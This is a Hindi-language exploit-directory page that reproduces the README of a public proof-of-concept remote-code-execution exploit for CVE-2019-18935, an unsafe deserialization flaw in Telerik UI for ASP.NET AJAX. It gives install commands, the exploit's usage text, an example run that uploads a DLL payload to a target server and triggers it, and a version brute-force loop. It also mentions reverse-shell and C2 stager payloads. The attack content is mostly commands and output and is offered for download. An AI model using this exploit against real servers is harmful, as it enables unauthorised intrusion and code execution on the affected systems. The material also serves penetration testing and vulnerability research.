Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-18935 — Telerik UI for ASP.NET AJAX में .NET JSON deserialization भेद्यता के लिए RCE एक्सप्लॉइट। | Kitploit
उपकरण/GitHubGitHub/noperator/cve-2019-18935
भेद्यता विश्लेषणशोषणशेलकोडवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंट
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Telerik UI for ASP.NET AJAX में .NET JSON deserialization भेद्यता के लिए RCE एक्सप्लॉइट।

रिपॉजिटरी देखें
37388134 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-18935

Telerik UI for ASP.NET AJAX में एक .NET JSON डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो रिमोट कोड निष्पादन की अनुमति देता है।

विवरण

Telerik UI for ASP.NET AJAX वेब अनुप्रयोगों के लिए UI घटकों का एक व्यापक रूप से उपयोग किया जाने वाला सुइट है। यह JSON ऑब्जेक्ट्स को असुरक्षित रूप से डिसीरियलाइज़ करता है, जिसके परिणामस्वरूप सॉफ़्टवेयर के अंतर्निहित होस्ट पर मनमाना रिमोट कोड निष्पादन होता है। अधिक जानकारी के लिए, देखें:

  • DerpCon वार्ता .NET Roulette (स्लाइड्स) जो असुरक्षित डिसीरियलाइज़ेशन के शोषण के अतिरिक्त मूल सिद्धांतों का विवरण देती है, उसे इस एक्सप्लॉइट पर लागू करती है, और ASP.NET वेब अनुप्रयोगों पर शेल प्राप्त करने के लिए कुछ टिप्स और ट्रिक्स बताती है।
  • Bishop Fox पर पूर्ण लेख, जिसमें इस भेद्यता का संपूर्ण वॉकथ्रू और इस समस्या के एक्सप्लॉइट विवरण (पैचिंग निर्देशों सहित) शामिल हैं।

आरंभ करना

पूर्वापेक्षाएँ

build-dll.bat का उपयोग करके मिक्स्ड-मोड .NET असेंबली DLL पेलोड संकलित करने के लिए आपके पास Visual Studio और .NET Framework SDK इंस्टॉल होना आवश्यक है।

इंस्टॉल

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

यह एक्सप्लॉइट RAU_crypto से एन्क्रिप्शन लॉजिक का उपयोग करता है। RAU_crypto.py के भीतर RAUCipher क्लास PyCryptodome पर निर्भर करती है, जो मृत PyCrypto मॉड्यूल का ड्रॉप-इन विकल्प है। PyCryptodome और PyCrypto एक ही वातावरण में इंस्टॉल होने पर समस्याएँ उत्पन्न करते हैं, इसलिए इस निर्भरता को पूरा करने का सर्वोत्तम तरीका मॉड्यूल को वर्चुअल वातावरण के भीतर इंस्टॉल करना है, जैसा ऊपर दिखाया गया है।

कॉन्फ़िगर

build-dll.bat की पंक्ति 17 को अपने Visual Studio इंस्टॉलेशन के पथ पर इंगित करें।

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

उपयोग

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

मिक्स्ड मोड .NET असेंबली DLL पेलोड संकलित करें

कुछ पेलोड (जैसे, reverse-shell.c और sliver-stager.c) के लिए आपको अपने C2 सर्वर की ओर इंगित करने हेतु HOST और PORT फ़ील्ड सेट करना आवश्यक है—ऐसा करना सुनिश्चित करें!

Visual Studio इंस्टॉल किए हुए Windows वातावरण में, डिसीरियलाइज़ेशन के दौरान पेलोड के रूप में उपयोग हेतु 32- और 64-बिट मिक्स्ड मोड असेंबली DLL उत्पन्न करने के लिए build-dll.bat का उपयोग करें। आप वैकल्पिक रूप से दूसरे CLI तर्क के रूप में लक्ष्य CPU आर्किटेक्चर निर्दिष्ट कर सकते हैं (जैसे, x86)।

build-dll.bat sleep.c

पेलोड को लक्ष्य पर अपलोड करें और अनुप्रयोग में लोड करें

CVE-2019-18935.py को ऊपर उत्पन्न DLL पास करें, जो DLL को लक्ष्य सर्वर पर एक निर्देशिका में अपलोड करेगा (बशर्ते कि वेब सर्वर के पास उस निर्देशिका में लेखन अनुमतियाँ हों) और फिर असुरक्षित डिसीरियलाइज़ेशन एक्सप्लॉइट के माध्यम से उस DLL को अनुप्रयोग में लोड करेगा।

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

उपरोक्त उदाहरण में, अनुप्रयोग को प्रतिक्रिया देने में कम से कम 10 सेकंड लगे, जो दर्शाता है कि DLL पेलोड ने सफलतापूर्वक Sleep(10000) को कॉल किया।

Telerik UI संस्करण ब्रूट-फोर्स करें

जैसा कि DerpCon वार्ता .NET Roulette (39:46) में विस्तार से बताया गया है, हम फ़ाइल अपलोड करते समय केवल Telerik.Web.UI असेंबली का मुख्य (major) संस्करण (अर्थात, पूर्ण संस्करण स्ट्रिंग 2017.2.503.40 का 2017 भाग) निर्दिष्ट करके Telerik UI संस्करण को ब्रूट-फोर्स कर सकते हैं। यह तकनीक इस सॉफ़्टवेयर के प्रत्येक विशिष्ट रिलीज़ को ब्रूट-फोर्स करने की तुलना में खोज स्थान को काफी कम कर देती है—और, एक अतिरिक्त लाभ के रूप में, यह उन संस्करणों का भी पता लगा सकती है जो इस सॉफ़्टवेयर के रिलीज़ इतिहास में स्पष्ट रूप से सूचीबद्ध नहीं हैं। MSDN पर .NET असेंबली वर्ज़निंग के बारे में अधिक जानें।

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Sliver C2 फ्रेमवर्क के साथ इम्प्लांट करें

टूल डाउनलोड करें